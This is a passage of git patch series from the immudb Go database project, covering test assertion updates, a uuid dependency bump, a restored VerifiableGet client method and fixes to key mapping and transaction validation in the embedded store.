&& + (!u.HasPermission(databaseName, auth.PermissionR)) && + (!u.HasPermission(databaseName, auth.PermissionRW)) { return nil, status.Errorf(codes.PermissionDenied, "Logged in user does not have permission on this database") } From 7ea064d150c9644aaee2ce5187dae7a7e887e740 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Thu, 19 Oct 2023 13:51:45 -0300 Subject: [PATCH 0877/1062] test(documents): update tests for latest api Signed-off-by: Marco Sanchotene --- .../documents_tests/actions/create_collections.go | 2 +- .../documents_tests/actions/session.go | 8 +++++++- .../documents_tests/create_collections_test.go | 13 ++++++------- .../documents_tests/create_indexes_test.go | 2 +- .../documents_tests/delete_collections_test.go | 4 ++-- 5 files changed, 17 insertions(+), 12 deletions(-) diff --git a/test/document_storage_tests/documents_tests/actions/create_collections.go b/test/document_storage_tests/documents_tests/actions/create_collections.go index d18bba98c5..d45524ed3a 100644 --- a/test/document_storage_tests/documents_tests/actions/create_collections.go +++ b/test/document_storage_tests/documents_tests/actions/create_collections.go @@ -154,7 +154,7 @@ func createCollection(expect *httpexpect.Expect, sessionID string, name string, WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). - Status(http.StatusOK).JSON().Object().Empty() + Status(http.StatusOK).JSON().Object().IsEmpty() collection := expect.GET(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", sessionID). diff --git a/test/document_storage_tests/documents_tests/actions/session.go b/test/document_storage_tests/documents_tests/actions/session.go index 383928b089..4535e0f993 100644 --- a/test/document_storage_tests/documents_tests/actions/session.go +++ b/test/document_storage_tests/documents_tests/actions/session.go @@ -34,7 +34,13 @@ func OpenSession(t *testing.T) (*httpexpect.Expect, string) { Database: "defaultdb", } - expect := httpexpect.Default(t, baseURL) + expect := httpexpect.WithConfig(httpexpect.Config{ + BaseURL: baseURL, + Reporter: httpexpect.NewAssertReporter(t), + Printers: []httpexpect.Printer{ + httpexpect.NewDebugPrinter(t, true), + }, + }) obj := expect.POST("/authorization/session/open"). WithJSON(user). Expect(). diff --git a/test/document_storage_tests/documents_tests/create_collections_test.go b/test/document_storage_tests/documents_tests/create_collections_test.go index 1ed37fe9a0..6fea1bb057 100644 --- a/test/document_storage_tests/documents_tests/create_collections_test.go +++ b/test/document_storage_tests/documents_tests/create_collections_test.go @@ -23,7 +23,6 @@ import ( "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" "github.com/gavv/httpexpect/v2" - "github.com/google/uuid" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/suite" ) @@ -37,7 +36,7 @@ type CreateCollectionsTestSuite struct { func (s *CreateCollectionsTestSuite) SetupTest() { s.expect, s.sessionID = actions.OpenSession(s.T()) - s.collection_name = uuid.New().String() + s.collection_name = "a" + uuid.New().String() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() { @@ -163,11 +162,11 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithEmptyBody() { WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). - Status(http.StatusOK).JSON().Object().Empty() + Status(http.StatusOK).JSON().Object().IsEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidField() { - name := uuid.New().String() + name := "a" + uuid.New().String() payload := map[string]interface{}{ "fields": "birth_date", } @@ -186,7 +185,7 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidFi } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyField() { - name := uuid.New().String() + name := "a" + uuid.New().String() payload := map[string]interface{}{ "fields": "", } @@ -205,12 +204,12 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyFiel } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() { - name := uuid.New().String() + name := "a" + uuid.New().String() s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). Expect(). - Status(http.StatusOK).JSON().Object().Empty() + Status(http.StatusOK).JSON().Object().IsEmpty() s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). diff --git a/test/document_storage_tests/documents_tests/create_indexes_test.go b/test/document_storage_tests/documents_tests/create_indexes_test.go index 9654db6581..9a8d866673 100644 --- a/test/document_storage_tests/documents_tests/create_indexes_test.go +++ b/test/document_storage_tests/documents_tests/create_indexes_test.go @@ -36,7 +36,7 @@ type IndexTestSuite struct { func (s *IndexTestSuite) SetupTest() { s.expect, s.sessionID = actions.OpenSession(s.T()) - s.collection_name = uuid.New().String() + s.collection_name = "a" + uuid.New().String() } func (s *IndexTestSuite) TestCreateIndexOnCollectionCreatedWithNameAndOneField() { diff --git a/test/document_storage_tests/documents_tests/delete_collections_test.go b/test/document_storage_tests/documents_tests/delete_collections_test.go index c64a4e94cd..46249cc78f 100644 --- a/test/document_storage_tests/documents_tests/delete_collections_test.go +++ b/test/document_storage_tests/documents_tests/delete_collections_test.go @@ -36,7 +36,7 @@ type DeleteCollectionsTestSuite struct { func (s *DeleteCollectionsTestSuite) SetupTest() { s.expect, s.token = actions.OpenSession(s.T()) - s.collection_name = uuid.New().String() + s.collection_name = "a" + uuid.New().String() } func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() { @@ -46,7 +46,7 @@ func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() { WithHeader("grpc-metadata-sessionid", s.token). Expect(). Status(http.StatusOK). - JSON().Object().Empty() + JSON().Object().IsEmpty() s.expect.GET(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). From eaaeb29749323b2a01537baae0e2924b9abbc217 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 26 Oct 2023 18:19:27 +0000 Subject: [PATCH 0878/1062] chore(deps): bump github.com/google/uuid from 1.3.1 to 1.4.0 Bumps [github.com/google/uuid](https://github.com/google/uuid) from 1.3.1 to 1.4.0. - [Release notes](https://github.com/google/uuid/releases) - [Changelog](https://github.com/google/uuid/blob/master/CHANGELOG.md) - [Commits](https://github.com/google/uuid/compare/v1.3.1...v1.4.0) --- updated-dependencies: - dependency-name: github.com/google/uuid dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 7909919f76..844cd789e0 100644 --- a/go.mod +++ b/go.mod @@ -7,7 +7,7 @@ require ( github.com/gizak/termui/v3 v3.1.0 github.com/gogo/protobuf v1.3.2 github.com/golang/protobuf v1.5.3 - github.com/google/uuid v1.3.1 + github.com/google/uuid v1.4.0 github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 diff --git a/go.sum b/go.sum index 6105e7d48e..2f905d79bb 100644 --- a/go.sum +++ b/go.sum @@ -1021,8 +1021,8 @@ github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+ github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= -github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= +github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= From 72e3f6844fd693d7a8b80f36e97fe1fdf0db38bf Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Mon, 23 Oct 2023 15:39:14 +0200 Subject: [PATCH 0879/1062] Add (back) VerifiableGet function. Used if you need access to the underlying data used for verification. --- embedded/sql/type_conversion.go | 3 +++ pkg/client/client.go | 13 +++++++++++++ pkg/client/clienttest/immuclient_mock.go | 6 ++++++ pkg/client/clienttest/immuclient_mock_test.go | 7 +++++++ 4 files changed, 29 insertions(+) diff --git a/embedded/sql/type_conversion.go b/embedded/sql/type_conversion.go index 5c390b9872..161385080a 100644 --- a/embedded/sql/type_conversion.go +++ b/embedded/sql/type_conversion.go @@ -62,7 +62,10 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { str := val.RawValue().(string) var supportedTimeFormats = []string{ + "2006-01-02 15:04:05 MST", + "2006-01-02 15:04:05 -0700", "2006-01-02 15:04:05.999999", + "2006-01-02 15:04:05", "2006-01-02 15:04", "2006-01-02", } diff --git a/pkg/client/client.go b/pkg/client/client.go index 6847aa4d4f..e31c91160a 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -342,6 +342,12 @@ type ImmuClient interface { // If verification does not succeed the store.ErrCorruptedData error is returned. VerifiedGetAtRevision(ctx context.Context, key []byte, rev int64) (*schema.Entry, error) + // VerifiableGet reads value for a given key, and returs internal data used to perform + // the verification. + // + // You can use this function if you want to have visibility on the verification data + VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) + // History returns history for a single key. History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) @@ -2311,3 +2317,10 @@ func (c *immuClient) TruncateDatabase(ctx context.Context, db string, retentionP return err } + +// VerifiableGet +func (c *immuClient) VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) { + result, err := c.ServiceClient.VerifiableGet(ctx, in, opts...) + + return result, err +} diff --git a/pkg/client/clienttest/immuclient_mock.go b/pkg/client/clienttest/immuclient_mock.go index 24df5edf88..24a18ee80c 100644 --- a/pkg/client/clienttest/immuclient_mock.go +++ b/pkg/client/clienttest/immuclient_mock.go @@ -46,6 +46,7 @@ type ImmuClientMock struct { VerifiedGetF func(context.Context, []byte, ...client.GetOption) (*schema.Entry, error) VerifiedGetAtF func(context.Context, []byte, uint64) (*schema.Entry, error) VerifiedSetF func(context.Context, []byte, []byte) (*schema.TxHeader, error) + VerifiableGetF func(context.Context, *schema.VerifiableGetRequest, ...grpc.CallOption) (*schema.VerifiableEntry, error) SetF func(context.Context, []byte, []byte) (*schema.TxHeader, error) SetAllF func(context.Context, *schema.SetRequest) (*schema.TxHeader, error) SetReferenceF func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error) @@ -129,6 +130,11 @@ func (icm *ImmuClientMock) VerifiedSet(ctx context.Context, key []byte, value [] return icm.VerifiedSetF(ctx, key, value) } +// VerifiedSet ... +func (icm *ImmuClientMock) VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) { + return icm.VerifiableGetF(ctx, in, opts...) +} + // Set ... func (icm *ImmuClientMock) Set(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) { return icm.SetF(ctx, key, value) diff --git a/pkg/client/clienttest/immuclient_mock_test.go b/pkg/client/clienttest/immuclient_mock_test.go index e9fb41fd8d..e46edeb2de 100644 --- a/pkg/client/clienttest/immuclient_mock_test.go +++ b/pkg/client/clienttest/immuclient_mock_test.go @@ -35,6 +35,7 @@ func TestImmuClientMock(t *testing.T) { errLogout := errors.New("LogoutF got called") errVerifiedGet := errors.New("VerifiedGetF got called") errVerifiedSet := errors.New("VerifiedSetF got called") + errVerifiableGet := errors.New("VerifiableGetF got called") errSet := errors.New("SetF got called") errVerifiedReference := errors.New("VerifiedReferenceF got called") errVerifiedZAdd := errors.New("VerifiedZAddF got called") @@ -66,6 +67,9 @@ func TestImmuClientMock(t *testing.T) { VerifiedSetF: func(context.Context, []byte, []byte) (*schema.TxHeader, error) { return nil, errVerifiedSet }, + VerifiableGetF: func(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) { + return nil, errVerifiableGet + }, SetF: func(context.Context, []byte, []byte) (*schema.TxHeader, error) { return nil, errSet }, @@ -107,6 +111,9 @@ func TestImmuClientMock(t *testing.T) { _, err = icm.VerifiedSet(context.Background(), nil, nil) require.ErrorIs(t, err, errVerifiedSet) + _, err = icm.VerifiableGet(context.Background(), nil, nil) + require.ErrorIs(t, err, errVerifiableGet) + _, err = icm.Set(context.Background(), nil, nil) require.ErrorIs(t, err, errSet) From 7c8cc2fc9288a9e78193e2a82db292919f2f7650 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 30 Oct 2023 16:35:55 +0100 Subject: [PATCH 0880/1062] test(embedded/sql): unit test with read-your-own-writes Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index e3eef150f7..81476207bf 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -993,9 +993,6 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { require.NoError(t, err) } - _, _, err = engine.Exec(context.Background(), tx, "COMMIT;", nil) - require.NoError(t, err) - r, err := engine.Query(context.Background(), nil, "SELECT * FROM tx_timestamp WHERE ts = @ts", map[string]interface{}{"ts": tx.Timestamp()}) require.NoError(t, err) defer r.Close() @@ -1009,6 +1006,9 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) + _, _, err = engine.Exec(context.Background(), tx, "COMMIT;", nil) + require.NoError(t, err) + currentTs = tx.Timestamp() } } From 3a94899f6d61bc0bcbff401f47a289e01b597216 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Nov 2023 10:57:46 +0100 Subject: [PATCH 0881/1062] chore(embedded/store): indexer source and target prefixes Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 8 ++------ embedded/store/indexer.go | 6 +++++- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 122b960de6..081645202d 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -798,7 +798,7 @@ func (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) { defer s.indexersMux.RUnlock() for _, indexer := range s.indexers { - if hasPrefix(keyPrefix, indexer.Prefix()) { + if hasPrefix(keyPrefix, indexer.TargetPrefix()) { return indexer, nil } } @@ -1120,10 +1120,6 @@ func (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, prefix []byte, // If txID is 0, any snapshot not older than renewalPeriod may be used. // If renewalPeriod is 0, renewal period is not taken into consideration func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, prefix []byte, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { - if txID > s.LastPrecommittedTxID() { - return nil, fmt.Errorf("%w: txID is greater than the last precommitted transaction", ErrIllegalArguments) - } - indexer, err := s.getIndexerFor(prefix) if err != nil { return nil, err @@ -1141,7 +1137,7 @@ func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context return &Snapshot{ st: s, - prefix: indexer.Prefix(), + prefix: indexer.TargetPrefix(), snap: snap, ts: time.Now(), }, nil diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index ed3dcfaf33..00e799c3d6 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -174,7 +174,11 @@ func (idx *indexer) init(spec *IndexSpec) { idx.resume() } -func (idx *indexer) Prefix() []byte { +func (idx *indexer) SourcePrefix() []byte { + return idx.spec.SourcePrefix +} + +func (idx *indexer) TargetPrefix() []byte { return idx.spec.TargetPrefix } From 5bac98dca84a2fc7ece353488cdbc26ae6a5fbac Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Nov 2023 10:58:12 +0100 Subject: [PATCH 0882/1062] test(embedded/sql): ryow unit test Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 81476207bf..af952e0af0 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -980,7 +980,7 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { currentTs := time.Now() - for it := 0; it < 3; it++ { + for it := 0; it < 1; it++ { time.Sleep(1 * time.Microsecond) tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) @@ -988,16 +988,18 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { require.True(t, tx.Timestamp().After(currentTs)) - for i := 0; i < 5; i++ { - _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO tx_timestamp(ts) VALUES (NOW()), (NOW())", nil) + rowCount := 10 + + for i := 0; i < rowCount; i++ { + _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO tx_timestamp(ts) VALUES (NOW())", nil) require.NoError(t, err) } - r, err := engine.Query(context.Background(), nil, "SELECT * FROM tx_timestamp WHERE ts = @ts", map[string]interface{}{"ts": tx.Timestamp()}) + r, err := engine.Query(context.Background(), tx, "SELECT * FROM tx_timestamp WHERE ts = @ts", map[string]interface{}{"ts": tx.Timestamp()}) require.NoError(t, err) defer r.Close() - for i := 0; i < 10; i++ { + for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector("", "tx_timestamp", "ts")].RawValue()) @@ -1006,6 +1008,9 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) + err = r.Close() + require.NoError(t, err) + _, _, err = engine.Exec(context.Background(), tx, "COMMIT;", nil) require.NoError(t, err) From e333f27dbad2fbaf812708cb0a1f1a470bfa6f62 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Nov 2023 10:59:02 +0100 Subject: [PATCH 0883/1062] fix(embedded/store): handle key mapping in ongoing txs Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 63 ++++++++++++++++++++++++++++-------- 1 file changed, 49 insertions(+), 14 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 04d757d7a1..3763730d88 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -267,28 +267,55 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh return ErrMaxTxEntriesLimitExceeded } + e := &EntrySpec{ + Key: key, + Metadata: md, + Value: value, + HashValue: hashValue, + IsValueTruncated: isValueTruncated, + } + // updates are not needed because valueRef are resolved with the "interceptor" if !tx.IsWriteOnly() && !isKeyUpdate && (md == nil || !md.NonIndexable()) { // vLen=0 + vOff=0 + vHash=0 + txmdLen=0 + kvmdLen=0 var indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte - snap, err := tx.snap(key) - if err == nil { - err = snap.set(key, indexedValue[:]) + tx.st.indexersMux.RLock() + defer tx.st.indexersMux.RUnlock() + + for _, indexer := range tx.st.indexers { + if !hasPrefix(key, indexer.SourcePrefix()) { + continue + } + + // map the key, get the snapshot for mapped key, set + sourceKey, err := mapKey(key, value, indexer.spec.SourceEntryMapper) if err != nil { return err } - } else if !errors.Is(err, ErrIndexNotFound) { - return err - } - } - e := &EntrySpec{ - Key: key, - Metadata: md, - Value: value, - HashValue: hashValue, - IsValueTruncated: isValueTruncated, + targetKey, err := mapKey(sourceKey, value, indexer.spec.TargetEntryMapper) + if err != nil { + return err + } + + snap, err := tx.snap(targetKey) + if err != nil { + return err + } + + err = snap.set(targetKey, indexedValue[:]) + if err != nil { + return err + } + + if !bytes.Equal(key, targetKey) { + tkid := sha256.Sum256(targetKey) + + tx.transientEntries[len(tx.entriesByKey)] = e + tx.entriesByKey[tkid] = len(tx.entriesByKey) + } + } } if isKeyUpdate { @@ -301,16 +328,24 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh if isTransient { tx.transientEntries[len(tx.entriesByKey)] = e + tx.entriesByKey[kid] = len(tx.entriesByKey) } else { tx.entries = append(tx.entries, e) + tx.entriesByKey[kid] = len(tx.entries) - 1 } - tx.entriesByKey[kid] = len(tx.entriesByKey) } return nil } +func mapKey(key []byte, value []byte, mapper EntryMapper) (mappedKey []byte, err error) { + if mapper == nil { + return key, nil + } + return mapper(key, value) +} + func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { var hashValue [sha256.Size]byte return tx.set(key, md, value, hashValue, false, false) From abb02ae2fda18ef5c58f90bce5514df96ee2f999 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Nov 2023 11:57:52 +0100 Subject: [PATCH 0884/1062] fix(embedded/store): handle key mapping in ongoing txs Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 3763730d88..dfe7221558 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -284,7 +284,7 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh defer tx.st.indexersMux.RUnlock() for _, indexer := range tx.st.indexers { - if !hasPrefix(key, indexer.SourcePrefix()) { + if !hasPrefix(key, indexer.SourcePrefix()) || (!isTransient && indexer.spec.SourceEntryMapper != nil) { continue } @@ -312,8 +312,13 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh if !bytes.Equal(key, targetKey) { tkid := sha256.Sum256(targetKey) - tx.transientEntries[len(tx.entriesByKey)] = e - tx.entriesByKey[tkid] = len(tx.entriesByKey) + if isTransient { + tx.transientEntries[len(tx.entriesByKey)] = e + tx.entriesByKey[tkid] = len(tx.entriesByKey) + } else { + tx.entries = append(tx.entries, e) + tx.entriesByKey[tkid] = len(tx.entries) - 1 + } } } } From ad1a62c752b61c452ecb5bba83e6f17256c5a750 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Nov 2023 00:21:58 +0100 Subject: [PATCH 0885/1062] fix(embedded/store): handle key mapping in ongoing txs Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 52 ++++++++++++++++++++++-------------- 1 file changed, 32 insertions(+), 20 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index dfe7221558..c077464b44 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -275,30 +275,42 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh IsValueTruncated: isValueTruncated, } - // updates are not needed because valueRef are resolved with the "interceptor" - if !tx.IsWriteOnly() && !isKeyUpdate && (md == nil || !md.NonIndexable()) { - // vLen=0 + vOff=0 + vHash=0 + txmdLen=0 + kvmdLen=0 - var indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte + // vLen=0 + vOff=0 + vHash=0 + txmdLen=0 + kvmdLen=0 + var indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte - tx.st.indexersMux.RLock() - defer tx.st.indexersMux.RUnlock() + tx.st.indexersMux.RLock() + defer tx.st.indexersMux.RUnlock() - for _, indexer := range tx.st.indexers { - if !hasPrefix(key, indexer.SourcePrefix()) || (!isTransient && indexer.spec.SourceEntryMapper != nil) { - continue - } + for _, indexer := range tx.st.indexers { + if isTransient && !hasPrefix(key, indexer.TargetPrefix()) { + continue + } + + if !isTransient && (!hasPrefix(key, indexer.SourcePrefix()) || indexer.spec.SourceEntryMapper != nil) { + continue + } + + var targetKey []byte + if isTransient { + targetKey = key + } else { // map the key, get the snapshot for mapped key, set sourceKey, err := mapKey(key, value, indexer.spec.SourceEntryMapper) if err != nil { return err } - targetKey, err := mapKey(sourceKey, value, indexer.spec.TargetEntryMapper) + targetKey, err = mapKey(sourceKey, value, indexer.spec.TargetEntryMapper) if err != nil { return err } + } + isIndexable := md == nil || !md.NonIndexable() + + // updates are not needed because valueRef are resolved with the "interceptor" + if !tx.IsWriteOnly() && !isKeyUpdate && isIndexable { snap, err := tx.snap(targetKey) if err != nil { return err @@ -308,17 +320,17 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh if err != nil { return err } + } - if !bytes.Equal(key, targetKey) { - tkid := sha256.Sum256(targetKey) + if !bytes.Equal(key, targetKey) { + kid := sha256.Sum256(targetKey) + keyRef, isKeyUpdate := tx.entriesByKey[kid] - if isTransient { - tx.transientEntries[len(tx.entriesByKey)] = e - tx.entriesByKey[tkid] = len(tx.entriesByKey) - } else { - tx.entries = append(tx.entries, e) - tx.entriesByKey[tkid] = len(tx.entries) - 1 - } + if isKeyUpdate { + tx.transientEntries[keyRef] = e + } else { + tx.transientEntries[len(tx.entriesByKey)] = e + tx.entriesByKey[kid] = len(tx.entriesByKey) } } } From 19cc097c6c04ac87b6f463a3264eff8bad1c1865 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Nov 2023 00:26:39 +0100 Subject: [PATCH 0886/1062] test(embedded/sql): restore test iteration Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index af952e0af0..d302511d78 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -980,7 +980,7 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { currentTs := time.Now() - for it := 0; it < 1; it++ { + for it := 0; it < 3; it++ { time.Sleep(1 * time.Microsecond) tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) @@ -991,7 +991,7 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { rowCount := 10 for i := 0; i < rowCount; i++ { - _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO tx_timestamp(ts) VALUES (NOW())", nil) + _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO tx_timestamp(ts) VALUES (NOW()), (NOW())", nil) require.NoError(t, err) } @@ -999,7 +999,7 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { require.NoError(t, err) defer r.Close() - for i := 0; i < rowCount; i++ { + for i := 0; i < rowCount*2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector("", "tx_timestamp", "ts")].RawValue()) From 8ff864349ec3e035b191bdc1a18ca847e97efd5a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Nov 2023 00:55:13 +0100 Subject: [PATCH 0887/1062] fix(pkg/database): ensure proper tx validation Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 4 ++++ pkg/database/database_test.go | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index 693a9a62ce..bea5826d64 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -842,6 +842,10 @@ func (d *db) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema opts := store.DefaultTxOptions() if req.SinceTx > 0 { + if req.SinceTx > d.st.LastPrecommittedTxID() { + return nil, store.ErrTxNotFound + } + opts.WithSnapshotMustIncludeTxID(func(_ uint64) uint64 { return req.SinceTx }) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 2da78e04ed..a25ef29c56 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -339,7 +339,7 @@ func TestDelete(t *testing.T) { }, SinceTx: hdr.Id + 1, }) - require.ErrorIs(t, err, ErrIllegalArguments) + require.ErrorIs(t, err, store.ErrTxNotFound) }) _, err = db.Get(context.Background(), &schema.KeyRequest{ From 033662e97d1263fed0e3cb8e12889b53916fd947 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Nov 2023 01:19:20 +0100 Subject: [PATCH 0888/1062] fix(embedded/sql): fix data-race when mapping keys Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 50fa1ba7af..29d2c089e9 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -331,11 +331,11 @@ func indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper { return nil 